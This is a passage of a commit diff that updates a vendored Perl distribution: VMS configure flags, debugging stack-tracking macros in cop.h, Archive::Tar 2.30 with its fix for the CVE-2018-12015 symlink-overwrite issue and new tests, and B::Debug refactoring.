 $ WC "d_castneg='define'"
 $ WC "d_cbrt='" + d_cbrt + "'"
-$ WC "d_charvspr='undef'"
 $ WC "d_chown='define'"
 $ WC "d_chroot='undef'"
 $ WC "d_chsize='undef'"
@@ -6026,6 +6008,8 @@
 $ WC "d_double_style_vax='" + d_double_style_vax + "'"
 $ WC "d_drand48proto='" + d_drand48proto + "'"
 $ WC "d_dup2='define'"
+$ WC "d_dup3='undef'"
+$ WC "d_duplocale='undef'"
 $ WC "d_eaccess='undef'"
 $ WC "d_endgrent='define'"
 $ WC "d_endhent='" + d_endhent + "'"
@@ -6039,9 +6023,14 @@
 $ WC "d_eunice='undef'"
 $ WC "d_exp2='" + d_exp2 + "'"
 $ WC "d_expm1='" + d_expm1 + "'"
-$ WC "d_fchmod='undef'"
+$ IF ("''F$EXTRACT(1,3, F$GETSYI(""VERSION""))'".GES."8.3")
+$ THEN
+$   WC "d_fchmod='define'"
+$ ELSE
+$   WC "d_fchmod='undef'"
+$ ENDIF
 $ WC "d_fchdir='undef'"
-$ WC "d_fchown='undef'"
+$ WC "d_fchown='define'"
 $ WC "d_fcntl='" + d_fcntl + "'"
 $ WC "d_fcntl_can_lock='" + d_fcntl_can_lock + "'"
 $ WC "d_fd_set='" + d_fd_set + "'"
@@ -6168,6 +6157,7 @@
 $ WC "d_llround='undef'"
 $ WC "d_llroundl='undef'"
 $ WC "d_llseek='undef'"
+$ WC "d_localeconv_l='undef'"
 $ WC "d_localtime64='undef'"
 $ WC "d_locconv='" + d_locconv + "'"
 $ WC "d_lc_monetary_2008='undef'"
@@ -6192,18 +6182,17 @@
 $ WC "d_malloc_size='undef'"
 $ WC "d_malloc_good_size='undef'"
 $ WC "d_mblen='" + d_mblen + "'"
+$ WC "d_mbrlen='define'"
+$ WC "d_mbrtowc='define'"
 $ WC "d_mbstowcs='" + d_mbstowcs + "'"
 $ WC "d_mbtowc='" + d_mbtowc + "'"
-$ WC "d_memchr='" + d_memchr + "'"
-$ WC "d_memcmp='define'"
-$ WC "d_memcpy='define'"
 $ WC "d_memmem='undef'"
-$ WC "d_memmove='define'"
-$ WC "d_memset='define'"
+$ WC "d_memrchr='" + d_memrchr + "'"
 $ WC "d_mkdir='define'"
 $ WC "d_mkdtemp='" + d_mkdtemp + "'"
 $ WC "d_mkfifo='undef'"
 $ WC "d_mknod='undef'"
+$ WC "d_mkostemp='undef'"
 $ WC "d_mkstemp='" + d_mkstemp + "'"
 $ WC "d_mkstemps='" + d_mkstemps + "'"
 $ WC "d_mktime='" + d_mktime + "'"
@@ -6246,11 +6235,17 @@
 $ WC "d_oldpthreads='" + d_oldpthreads + "'"
 $ WC "d_oldsock='undef'"
 $ WC "d_open3='define'"
+$ WC "d_openat='undef'"
+$ WC "d_unlinkat='undef'"
+$ WC "d_renameat='undef'"
+$ WC "d_linkat='undef'"
+$ WC "d_fchmodat='undef'"
 $ WC "d_pathconf='" + d_pathconf + "'"
 $ WC "d_pause='define'"
 $ WC "d_perl_otherlibdirs='undef'"
 $ WC "d_phostname='" + d_phostname + "'"
 $ WC "d_pipe='define'"
+$ WC "d_pipe2='undef'"
 $ WC "d_poll='" + d_poll + "'"
 $ WC "d_portable='define'"
 $ WC "d_procselfexe='undef'"
@@ -6270,11 +6265,13 @@
 $ WC "d_pwquota='undef'"
 $ WC "d_qgcvt='undef'"
 $ WC "d_quad='" + d_quad + "'"
+$ WC "d_re_comp='undef'"
 $ WC "d_readdir='define'"
 $ WC "d_readlink='" + d_readlink + "'"
-$ WC "d_readv='undef'"
+$ WC "d_readv='define'"
 $ WC "d_realpath='" + d_realpath + "'"
-$ WC "d_recvmsg='undef'"
+$ WC "d_recvmsg='define'"
+$ WC "d_regcmp='undef'"
 $ WC "d_regcomp='undef'"
 $ WC "d_remainder='" + d_remainder + "'"
 $ WC "d_remquo='" + d_remquo + "'"
@@ -6283,9 +6280,6 @@
 $ WC "d_rint='" + d_rint + "'"
 $ WC "d_rmdir='define'"
 $ WC "d_round='undef'"
-$ WC "d_safebcpy='undef'"
-$ WC "d_safemcpy='define'"
-$ WC "d_sanemcmp='define'"
 $ WC "d_sbrkproto='define'"
 $ WC "d_scalbn='undef'"
 $ WC "d_scalbnl='undef'"
@@ -6309,7 +6303,7 @@
 $   WC "d_semget='undef'"
 $   WC "d_semop='undef'"
 $ ENDIF
-$ WC "d_sendmsg='undef'"
+$ WC "d_sendmsg='define'"
 $ WC "d_setegid='undef'"
 $ WC "d_setenv='" + d_setenv + "'"
 $ WC "d_seteuid='" + d_seteuid + "'"
@@ -6346,6 +6340,7 @@
 $ WC "d_siginfo_si_addr='" + d_siginfo_si_addr + "'"
 $ WC "d_siginfo_si_band='" + d_siginfo_si_band + "'"
 $ WC "d_siginfo_si_errno='" + d_siginfo_si_errno + "'"
+$ WC "d_siginfo_si_fd='" + d_siginfo_si_fd + "'"
 $ WC "d_siginfo_si_pid='" + d_siginfo_si_pid + "'"
 $ WC "d_siginfo_si_status='" + d_siginfo_si_status + "'"
 $ WC "d_siginfo_si_uid='" + d_siginfo_si_uid + "'"
@@ -6363,7 +6358,6 @@
 $ WC "d_socklen_t='" + d_socklen_t + "'"
 $ WC "d_sockpair='" + d_sockpair + "'"
 $ WC "d_socks5_init='undef'"
-$ WC "d_sprintf_returns_strlen='define'"
 $ WC "d_sqrtl='define'"
 $ WC "d_sresgproto='undef'"
 $ WC "d_sresgproto='undef'"
@@ -6384,17 +6378,16 @@
 $ WC "d_stdstdio='" + d_stdstdio + "'"
 $ WC "d_faststdio='" + d_faststdio + "'"
 $ WC "d_statvfs='" + d_statvfs + "'"
-$ WC "d_strchr='define'"
 $ WC "d_strcoll='" + d_strcoll + "'"
-$ WC "d_strctcpy='define'"
-$ WC "d_strerrm='strerror((e),vaxc$errno)'"
-$ WC "d_strerror='define'"
 $ WC "d_strftime='define'"
 $ WC "d_strlcat='undef'"
 $ WC "d_strlcpy='undef'"
+$ WC "d_strnlen='" + d_strnlen + "'"
 $ WC "d_strtod='define'"
+$ WC "d_strtod_l='undef'"
 $ WC "d_strtol='define'"
 $ WC "d_strtold='" + d_strtold + "'"
+$ WC "d_strtold_l='undef'"
 $ WC "d_strtoll='" + d_strtoll + "'"
 $ WC "d_strtoq='" + d_strtoq + "'"
 $ WC "d_strtoul='define'"
@@ -6414,6 +6407,7 @@
 $ WC "d_telldir='define'"
 $ WC "d_telldirproto='define'"
 $ WC "d_tgamma='" + d_tgamma + "'"
+$ WC "d_thread_safe_nl_langinfo_l='undef'"
 $ WC "d_time='define'"
 $ WC "d_timegm='undef'"
 $ WC "d_times='define'"
@@ -6452,8 +6446,6 @@
 $ WC "d_void_closedir='define'"
 $ WC "d_voidsig='undef'"
 $ WC "d_voidtty='" + "'"
-$ WC "d_volatile='define'"
-$ WC "d_vprintf='define'"
 $ WC "d_vsnprintf='" + d_vsnprintf + "'"
 $ WC "d_wait4='" + d_wait4 + "'"
 $ WC "d_waitpid='define'"
@@ -6461,7 +6453,7 @@
 $ WC "d_wcstombs='define'"
 $ WC "d_wcsxfrm='define'"
 $ WC "d_wctomb='define'"
-$ WC "d_writev='undef'"
+$ WC "d_writev='define'"
 $ WC "d_xenix='undef'"
 $ WC "db_hashtype=' '"
 $ WC "db_prefixtype=' '"
@@ -6523,7 +6515,6 @@
 $ WC "i8size='" + i8size + "'"
 $ WC "i8type='" + i8type + "'"
 $ WC "i_arpainet='" + i_arpainet + "'"
-$ WC "i_assert='define'"
 $ WC "i_bfd='undef'"
 $ WC "i_bsdioctl='undef'"
 $ WC "i_crypt='undef'"
@@ -6534,7 +6525,6 @@
 $ WC "i_execinfo='undef'"
 $ WC "i_fcntl='" + i_fcntl + "'"
 $ WC "i_fenv='undef'"
-$ WC "i_float='define'"
 $ WC "i_fp='undef'"
 $ WC "i_fp_class='undef'"
 $ WC "i_gdbm='undef'"
@@ -6545,14 +6535,11 @@
 $ WC "i_inttypes='" + i_inttypes + "'"
 $ WC "i_langinfo='" + i_langinfo + "'"
 $ WC "i_libutil='" + i_libutil + "'"
-$ WC "i_limits='define'"
 $ WC "i_locale='" + i_locale + "'"
 $ WC "i_machcthr='undef'"
 $ WC "i_machcthreads='undef'"
 $ WC "i_malloc='undef'"
 $ WC "i_mallocmalloc='undef'"
-$ WC "i_math='define'"
-$ WC "i_memory='undef'"
 $ WC "i_mntent='undef'"
 $ WC "i_ndbm='undef'"
 $ WC "i_netdb='" + i_netdb + "'"
@@ -6568,7 +6555,6 @@
 $ WC "i_sgtty='undef'"
 $ WC "i_shadow='" + i_shadow + "'"
 $ WC "i_socks='" + i_socks + "'"
-$ WC "i_stdarg='define'"
 $ IF ccname .EQS. "DEC" .AND. F$INTEGER(Dec_C_Version).GE.60400000
 $ THEN
 $   WC "i_stdbool='define'"
@@ -6575,10 +6561,8 @@
 $ ELSE
 $   WC "i_stdbool='undef'"
 $ ENDIF
-$ WC "i_stddef='define'"
 $ WC "i_stdint='undef'"
 $ WC "i_stdlib='define'"
-$ WC "i_string='define'"
 $ WC "i_sunmath='undef'"
 $ WC "i_sysaccess='" + i_sysaccess + "'"
 $ WC "i_sysdir='undef'"
@@ -6615,10 +6599,8 @@
 $ WC "i_unistd='" + i_unistd + "'"
 $ WC "i_ustat='undef'"
 $ WC "i_utime='" + i_utime + "'"
-$ WC "i_values='undef'"
-$ WC "i_varargs='undef'"
-$ WC "i_varhdr='stdarg.h'"
 $ WC "i_vfork='undef'"
+$ WC "i_wchar='define'"
 $ WC "i_xlocale='undef'"
 $ WC "inc_version_list='0'"
 $ WC "inc_version_list_init='0'"
@@ -6870,7 +6852,6 @@
 $ WC "uvxformat='" + uvxformat + "'"
 $ WC "uvXUformat='" + uvXUformat + "'"
 $ WC "vendorarch='" + "'"
-$ WC "vaproto='define'"
 $ WC "vendorarchexp='" + "'"
 $ WC "vendorbin='" + "'"
 $ WC "vendorbinexp='" + "'"
@@ -6911,7 +6892,7 @@
 $ WC "d_endpwent_r='undef'"
 $ WC "d_endservent_r='undef'"
 $ WC "d_freelocale='undef'"
-$ WC "d_gai_strerror='undef'"
+$ WC "d_gai_strerror='define'"
 $ WC "d_getgrent_r='undef'"
 $ WC "d_getgrgid_r='" + d_getgrgid_r + "'"
 $ WC "d_getgrnam_r='" + d_getgrnam_r + "'"

Modified: vendor/perl/dist/cop.h
===================================================================
--- vendor/perl/dist/cop.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cop.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -35,10 +35,24 @@
     int			je_ret;		/* last exception thrown */
     bool		je_mustcatch;	/* need to call longjmp()? */
     U16                 je_old_delaymagic; /* saved PL_delaymagic */
+    SSize_t             je_old_stack_hwm;
 };
 
 typedef struct jmpenv JMPENV;
 
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+#  define JE_OLD_STACK_HWM_zero      PL_start_env.je_old_stack_hwm = 0
+#  define JE_OLD_STACK_HWM_save(je)  \
+        (je).je_old_stack_hwm = PL_curstackinfo->si_stack_hwm
+#  define JE_OLD_STACK_HWM_restore(je)  \
+        if (PL_curstackinfo->si_stack_hwm < (je).je_old_stack_hwm) \
+            PL_curstackinfo->si_stack_hwm = (je).je_old_stack_hwm
+#else
+#  define JE_OLD_STACK_HWM_zero        NOOP
+#  define JE_OLD_STACK_HWM_save(je)    NOOP
+#  define JE_OLD_STACK_HWM_restore(je) NOOP
+#endif
+
 /*
  * How to build the first jmpenv.
  *
@@ -57,6 +71,7 @@
 	PL_start_env.je_ret = -1;		\
 	PL_start_env.je_mustcatch = TRUE;	\
 	PL_start_env.je_old_delaymagic = 0;	\
+        JE_OLD_STACK_HWM_zero;                  \
     } STMT_END
 
 /*
@@ -102,7 +117,9 @@
 	    Perl_deb(aTHX_ "JUMPENV_PUSH level=%d at %s:%d\n",		\
 		         i,  __FILE__, __LINE__);})			\
 	cur_env.je_prev = PL_top_env;					\
+        JE_OLD_STACK_HWM_save(cur_env);                                 \
 	cur_env.je_ret = PerlProc_setjmp(cur_env.je_buf, SCOPE_SAVES_SIGNAL_MASK);		\
+        JE_OLD_STACK_HWM_restore(cur_env);                              \
 	PL_top_env = &cur_env;						\
 	cur_env.je_mustcatch = FALSE;					\
 	cur_env.je_old_delaymagic = PL_delaymagic;			\
@@ -173,9 +190,9 @@
     Perl_refcounted_he_fetch_pvn(aTHX_ cophh, keypv, keylen, hash, flags)
 
 /*
-=for apidoc Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|const char *key|U32 flags
+=for apidoc Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|"literal string" key|U32 flags
 
-Like L</cophh_fetch_pvn>, but takes a C<NUL>-terminated literal string instead
+Like L</cophh_fetch_pvn>, but takes a literal string instead
 of a string/length pair, and no precomputed hash.
 
 =cut
@@ -279,9 +296,9 @@
     Perl_refcounted_he_new_pvn(aTHX_ cophh, keypv, keylen, hash, value, flags)
 
 /*
-=for apidoc Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|const char *key|SV *value|U32 flags
+=for apidoc Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|"literal string" key|SV *value|U32 flags
 
-Like L</cophh_store_pvn>, but takes a C<NUL>-terminated literal string instead
+Like L</cophh_store_pvn>, but takes a literal string instead
 of a string/length pair, and no precomputed hash.
 
 =cut
@@ -336,9 +353,9 @@
 	(SV *)NULL, flags)
 
 /*
-=for apidoc Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|const char *key|U32 flags
+=for apidoc Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|"literal string" key|U32 flags
 
-Like L</cophh_delete_pvn>, but takes a C<NUL>-terminated literal string instead
+Like L</cophh_delete_pvn>, but takes a literal string instead
 of a string/length pair, and no precomputed hash.
 
 =cut
@@ -476,9 +493,9 @@
     cophh_fetch_pvn(CopHINTHASH_get(cop), keypv, keylen, hash, flags)
 
 /*
-=for apidoc Am|SV *|cop_hints_fetch_pvs|const COP *cop|const char *key|U32 flags
+=for apidoc Am|SV *|cop_hints_fetch_pvs|const COP *cop|"literal string" key|U32 flags
 
-Like L</cop_hints_fetch_pvn>, but takes a C<NUL>-terminated literal string
+Like L</cop_hints_fetch_pvn>, but takes a literal string
 instead of a string/length pair, and no precomputed hash.
 
 =cut
@@ -994,6 +1011,12 @@
     I32			si_markoff;	/* offset where markstack begins for us.
 					 * currently used only with DEBUGGING,
 					 * but not #ifdef-ed for bincompat */
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+/* high water mark: for checking if the stack was correctly extended /
+ * tested for extension by each pp function */
+    SSize_t             si_stack_hwm;
+#endif
+
 };
 
 typedef struct stackinfo PERL_SI;
@@ -1009,6 +1032,12 @@
 #  define	SET_MARK_OFFSET NOOP
 #endif
 
+#if defined DEBUGGING && !defined DEBUGGING_RE_ONLY
+#  define PUSHSTACK_INIT_HWM(si) ((si)->si_stack_hwm = 0)
+#else
+#  define PUSHSTACK_INIT_HWM(si) NOOP
+#endif
+
 #define PUSHSTACKi(type) \
     STMT_START {							\
 	PERL_SI *next = PL_curstackinfo->si_next;			\
@@ -1024,6 +1053,7 @@
 	}								\
 	next->si_type = type;						\
 	next->si_cxix = -1;						\
+        PUSHSTACK_INIT_HWM(next);                                       \
 	AvFILLp(next->si_stack) = 0;					\
 	SWITCHSTACK(PL_curstack,next->si_stack);			\
 	PL_curstackinfo = next;						\

Modified: vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm
===================================================================
--- vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/Constant.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 BEGIN {
     require Exporter;
 
-    $VERSION    = '2.24';
+    $VERSION    = '2.30';
     @ISA        = qw[Exporter];
 
     require Time::Local if $^O eq "MacOS";

Modified: vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/File.pm
===================================================================
--- vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/File.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar/File.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -13,7 +13,7 @@
 
 use vars qw[@ISA $VERSION];
 #@ISA        = qw[Archive::Tar];
-$VERSION    = '2.24';
+$VERSION    = '2.30';
 
 ### set value to 1 to oct() it during the unpack ###
 
@@ -396,13 +396,8 @@
     my $path = shift;
 
     my ($vol, $dirs, $file) = File::Spec->splitpath( $path, $self->is_dir );
-    my @dirs = File::Spec->splitdir( $dirs );
+    my @dirs = File::Spec->splitdir( File::Spec->canonpath($dirs) );
 
-    ### so sometimes the last element is '' -- probably when trailing
-    ### dir slashes are encountered... this is of course pointless,
-    ### so remove it
-    pop @dirs while @dirs and not length $dirs[-1];
-
     ### if it's a directory, then $file might be empty
     $file = pop @dirs if $self->is_dir and not length $file;
 
@@ -409,9 +404,7 @@
     ### splitting ../ gives you the relative path in native syntax
     map { $_ = '..' if $_  eq '-' } @dirs if ON_VMS;
 
-    my $prefix = File::Spec::Unix->catdir(
-                        grep { length } $vol, @dirs
-                    );
+    my $prefix = File::Spec::Unix->catdir(@dirs);
     return( $prefix, $file );
 }
 

Modified: vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar.pm
===================================================================
--- vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Archive-Tar/lib/Archive/Tar.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,7 +31,7 @@
 $DEBUG                  = 0;
 $WARN                   = 1;
 $FOLLOW_SYMLINK         = 0;
-$VERSION                = "2.24";
+$VERSION                = "2.30";
 $CHOWN                  = 1;
 $CHMOD                  = 1;
 $SAME_PERMISSIONS       = $> == 0 ? 1 : 0;
@@ -601,6 +601,7 @@
     my $self    = shift;
     my @args    = @_;
     my @files;
+    my $hashmap;
 
     # use the speed optimization for all extracted files
     local($self->{cwd}) = cwd() unless $self->{cwd};
@@ -617,16 +618,15 @@
             ### go find it then
             } else {
 
-                my $found;
-                for my $entry ( @{$self->_data} ) {
-                    next unless $file eq $entry->full_path;
+                # create hash-map once to speed up lookup
+                $hashmap = $hashmap || {
+                    map { $_->full_path, $_ } @{$self->_data}
+                };
 
+                if (exists $hashmap->{$file}) {
                     ### we found the file you're looking for
-                    push @files, $entry;
-                    $found++;
-                }
-
-                unless( $found ) {
+                    push @files, $hashmap->{$file};
+                } else {
                     return $self->_error(
                         qq[Could not find '$file' in archive] );
                 }
@@ -845,9 +845,23 @@
         return;
     }
 
+    ### If a file system already contains a block device with the same name as
+    ### the being extracted regular file, we would write the file's content
+    ### to the block device. So remove the existing file (block device) now.
+    ### If an archive contains multiple same-named entries, the last one
+    ### should replace the previous ones. So remove the old file now.
+    ### If the old entry is a symlink to a file outside of the CWD, the new
+    ### entry would create a file there. This is CVE-2018-12015
+    ### <https://rt.cpan.org/Ticket/Display.html?id=125523>.
+    if (-l $full || -e _) {
+	if (!unlink $full) {
+	    $self->_error( qq[Could not remove old file '$full': $!] );
+	    return;
+	}
+    }
     if( length $entry->type && $entry->is_file ) {
         my $fh = IO::File->new;
-        $fh->open( '>' . $full ) or (
+        $fh->open( $full, '>' ) or (
             $self->_error( qq[Could not open file '$full': $!] ),
             return
         );
@@ -1756,7 +1770,8 @@
 
 sub iter {
     my $class       = shift;
-    my $filename    = shift or return;
+    my $filename    = shift;
+    return unless defined $filename;
     my $compressed  = shift || 0;
     my $opts        = shift || {};
 
@@ -2249,7 +2264,7 @@
     $tar->add_data('file.txt', "Euro: \x{20AC}");
 
 then there will be a problem later when the tarfile gets written out
-to disk via C<$tar->write()>:
+to disk via C<< $tar->write() >>:
 
     Wide character in print at .../Archive/Tar.pm line 1014.
 

Modified: vendor/perl/dist/cpan/Archive-Tar/t/04_resolved_issues.t
===================================================================
--- vendor/perl/dist/cpan/Archive-Tar/t/04_resolved_issues.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Archive-Tar/t/04_resolved_issues.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -247,3 +247,35 @@
 		clean_78030();
 		unlink $archname;
 }
+
+### bug 97748
+### retain leading '/' for absolute pathnames.
+{   ok( 1,                      "Testing bug 97748" );
+	my $path= '/absolute/path';
+	my $tar = $Class->new;
+	isa_ok( $tar, $Class,       "   Object" );
+	my $file;
+
+	ok( $file = $tar->add_data( $path, '' ),
+		"       Added $path" );
+
+	ok( $file->full_path eq $path,
+		"	Paths mismatch <" . $file->full_path . "> ne <$path>" );
+}
+
+### bug 103279
+### retain trailing whitespace on filename
+{
+  ok( 1,                      "Testing bug 103279" );
+	my $tar = $Class->new;
+	isa_ok( $tar, $Class,       "   Object" );
+	ok( $tar->add_data( 'white_space   ', '' ),
+				    "   Add file <white_space   > containing filename with trailing whitespace");
+	ok( $tar->extract(),        "	Extract filename with trailing whitespace" );
+  SKIP: {
+    skip "Windows tries to be clever", 1 if $^O eq 'MSWin32';
+	  ok( ! -e 'white_space',     "	<white_space> should not exist" );
+  }
+	ok( -e 'white_space   ',    "	<white_space   > should exist" );
+	unlink foreach ('white_space   ', 'white_space');
+}

Modified: vendor/perl/dist/cpan/B-Debug/Debug.pm
===================================================================
--- vendor/perl/dist/cpan/B-Debug/Debug.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/B-Debug/Debug.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,11 @@
 package B::Debug;
 
-our $VERSION = '1.24';
+our $VERSION = '1.26';
+BEGIN { if ($] >= 5.027001) { require deprecate; import deprecate; } }
 
 use strict;
 require 5.006;
-use B qw(peekop class walkoptree walkoptree_exec
+use B qw(peekop walkoptree walkoptree_exec
          main_start main_root cstring sv_undef SVf_NOK SVf_IOK);
 use Config;
 my (@optype, @specialsv_name);
@@ -37,7 +38,7 @@
   my $addr = ${$op} ? $op->ppaddr : '';
   $addr =~ s/^PL_ppaddr// if $addr;
   if (${$op}) {
-    return sprintf "0x%08x %6s %s", ${$op}, class($op), $addr;
+    return sprintf "0x%08x %6s %s", ${$op}, B::class($op), $addr;
   } else {
     return sprintf "0x%x %6s %s", ${$op}, '', $addr;
   }
@@ -45,7 +46,7 @@
 
 sub B::OP::debug {
     my ($op) = @_;
-    printf <<'EOT', class($op), $$op, _printop($op), _printop($op->next), _printop($op->sibling), $op->targ, $op->type, $op->name;
+    printf <<'EOT', B::class($op), $$op, _printop($op), _printop($op->next), _printop($op->sibling), $op->targ, $op->type, $op->name;
 %s (0x%lx)
 	op_ppaddr	%s
 	op_next		%s
@@ -64,15 +65,20 @@
     }
     if ($have_B_Flags) {
         printf <<'EOT', $op->flags, $op->flagspv, $op->private, $op->privatepv;
-	op_flags	%d	%s
-	op_private	%d	%s
+	op_flags	%u	%s
+	op_private	%u	%s
 EOT
     } else {
         printf <<'EOT', $op->flags, $op->private;
-	op_flags	%d
-	op_private	%d
+	op_flags	%u
+	op_private	%u
 EOT
     }
+    if ($op->can('rettype')) {
+        printf <<'EOT', $op->rettype;
+	op_rettype	%u
+EOT
+    }
 }
 
 sub B::UNOP::debug {
@@ -143,7 +149,7 @@
 	cop_warnings	0x%x
 EOT
   if ($] > 5.008 and $] < 5.011) {
-    my $cop_io = class($op->io) eq 'SPECIAL' ? '' : $op->io->as_string;
+    my $cop_io = B::class($op->io) eq 'SPECIAL' ? '' : $op->io->as_string;
     printf("	cop_io		%s\n", cstring($cop_io));
   }
 }
@@ -167,6 +173,16 @@
     }
 }
 
+sub B::UNOP_AUX::debug {
+    my ($op) = @_;
+    $op->B::OP::debug();
+    # string and perl5 aux_list needs the cv
+    # cperl has aux, Concise,-debug leaves it empty
+    if ($op->can('aux')) {
+        printf "\top_aux\t%s\n", cstring($op->aux);
+    }
+}
+
 sub B::PVOP::debug {
     my ($op) = @_;
     $op->B::OP::debug();
@@ -191,10 +207,10 @@
 sub B::SV::debug {
     my ($sv) = @_;
     if (!$$sv) {
-	print class($sv), " = NULL\n";
+	print B::class($sv), " = NULL\n";
 	return;
     }
-    printf <<'EOT', class($sv), $$sv, $sv->REFCNT;
+    printf <<'EOT', B::class($sv), $$sv, $sv->REFCNT;
 %s (0x%x)
 	REFCNT		%d
 EOT
@@ -266,38 +282,43 @@
 }
 
 sub B::CV::debug {
-    my ($sv) = @_;
-    $sv->B::PVNV::debug();
-    my ($stash) = $sv->STASH;
-    my ($start) = $sv->START;
-    my ($root)  = $sv->ROOT;
-    my ($padlist) = $sv->PADLIST;
-    my ($file) = $sv->FILE;
-    my ($gv) = $sv->GV;
+    my ($cv) = @_;
+    $cv->B::PVNV::debug();
+    my $stash = $cv->STASH;
+    my $start = $cv->START;
+    my $root  = $cv->ROOT;
+    my $padlist = $cv->PADLIST;
+    my $file = $cv->FILE;
+    my $gv;
     printf <<'EOT', $$stash, $$start, $$root;
 	STASH		0x%x
 	START		0x%x
 	ROOT		0x%x
 EOT
-    if ( $]>5.017 && ($sv->FLAGS & 0x40000)) { #lexsub
-      printf("\tNAME\t%%s\n", $sv->NAME);
+    if ($cv->can('NAME_HEK') && $cv->NAME_HEK) {
+        printf("\tNAME\t%%s\n", $cv->NAME_HEK);
+    }
+    elsif ( $]>5.017 && ($cv->FLAGS & 0x40000)) { #lexsub
+        printf("\tNAME\t%%s\n", $cv->NAME_HEK);
     } else {
-      printf("\tGV\t%0x%x\t%s\n", $$gv, $gv->SAFENAME);
+        $gv = $cv->GV;
+        printf("\tGV\t%0x%x\t%s\n", $$gv, $gv->SAFENAME);
     }
-    printf <<'EOT', $file, $sv->DEPTH, $padlist, ${$sv->OUTSIDE};
+    printf <<'EOT', $file, $cv->DEPTH, $padlist, ${$cv->OUTSIDE};
 	FILE		%s
 	DEPTH		%d
 	PADLIST		0x%x
 	OUTSIDE		0x%x
 EOT
-    printf("\tOUTSIDE_SEQ\t%d\n", $sv->OUTSIDE_SEQ) if $] > 5.007;
+    printf("\tOUTSIDE_SEQ\t%d\n", $cv->OUTSIDE_SEQ) if $] > 5.007;
     if ($have_B_Flags) {
-      my $SVt_PVCV = $] < 5.010 ? 12 : 13;
-      printf("\tCvFLAGS\t0x%x\t%s\n", $sv->CvFLAGS,
-	     $have_B_Flags_extra ? $sv->flagspv($SVt_PVCV) : $sv->flagspv);
+        my $SVt_PVCV = $] < 5.010 ? 12 : 13;
+        printf("\tCvFLAGS\t0x%x\t%s\n", $cv->CvFLAGS,
+               $have_B_Flags_extra ? $cv->flagspv($SVt_PVCV) : $cv->flagspv);
     } else {
-      printf("\tCvFLAGS\t0x%x\n", $sv->CvFLAGS);
+        printf("\tCvFLAGS\t0x%x\n", $cv->CvFLAGS);
     }
+    printf("\tSIGOP\t0x%x\n", $cv->SIGOP) if $cv->can('SIGOP');
     $start->debug if $start;
     $root->debug if $root;
     $gv->debug if $gv;
@@ -316,7 +337,7 @@
     my (@array) = eval { $av->ARRAY; };
     print "\tARRAY\t\t(", join(", ", map("0x" . $$_, @array)), ")\n";
     my $fill = eval { scalar(@array) };
-    if ($Config{'useithreads'} && class($av) ne 'PADLIST') {
+    if ($Config{'useithreads'} && B::class($av) ne 'PADLIST') {
       printf <<'EOT', $fill, $av->MAX, $av->OFF;
 	FILL		%d
 	MAX		%d
@@ -382,7 +403,7 @@
 
 sub B::PADLIST::debug {
     my ($padlist) = @_;
-    printf <<'EOT', class($padlist), $$padlist, $padlist->REFCNT;
+    printf <<'EOT', B::class($padlist), $$padlist, $padlist->REFCNT;
 %s (0x%x)
 	REFCNT		%d
 EOT
@@ -415,7 +436,7 @@
 
 =head1 DESCRIPTION
 
-See F<ext/B/README> and the newer L<B::Concise>, L<B::Terse>.
+See F<ext/B/README> and the newer L<B::Concise>.
 
 =head1 OPTIONS
 
@@ -424,7 +445,7 @@
 
 =head1 AUTHOR
 
-Malcolm Beattie, C<mbeattie at sable.ox.ac.uk>
+Malcolm Beattie, C<retired>
 Reini Urban C<rurban at cpan.org>
 
 =head1 LICENSE

Modified: vendor/perl/dist/cpan/B-Debug/t/debug.t
===================================================================
--- vendor/perl/dist/cpan/B-Debug/t/debug.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/B-Debug/t/debug.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -32,17 +32,18 @@
 my $a;
 my $X = $^X =~ m/\s/ ? qq{"$^X"} : $^X;
 
-my $path = join " ", map { qq["-I$_"] } (File::Spec->catfile("blib","lib"), @INC);
+local $ENV{PERL5LIB} =
+  join $Config{path_sep}, File::Spec->catfile("blib","lib"), @INC;
 my $redir = $^O =~ /VMS|MSWin32|MacOS/ ? "" : "2>&1";
 
-$a = `$X $path "-MO=Debug" -e 1 $redir`;
+$a = `$X "-MO=Debug" -e 1 $redir`;
 like($a, qr/\bLISTOP\b.*\bOP\b.*\bCOP\b.*\bOP\b/s);
 
 
-$a = `$X $path "-MO=Terse" -e 1 $redir`;
+$a = `$X "-MO=Terse" -e 1 $redir`;
 like($a, qr/\bLISTOP\b.*leave.*\n    OP\b.*enter.*\n    COP\b.*nextstate.*\n    OP\b.*null/s);
 
-$a = `$X $path "-MO=Terse" -ane "s/foo/bar/" $redir`;
+$a = `$X "-MO=Terse" -ane "s/foo/bar/" $redir`;
 $a =~ s/\(0x[^)]+\)//g;
 $a =~ s/\[[^\]]+\]//g;
 $a =~ s/-e syntax OK//;
@@ -81,14 +82,14 @@
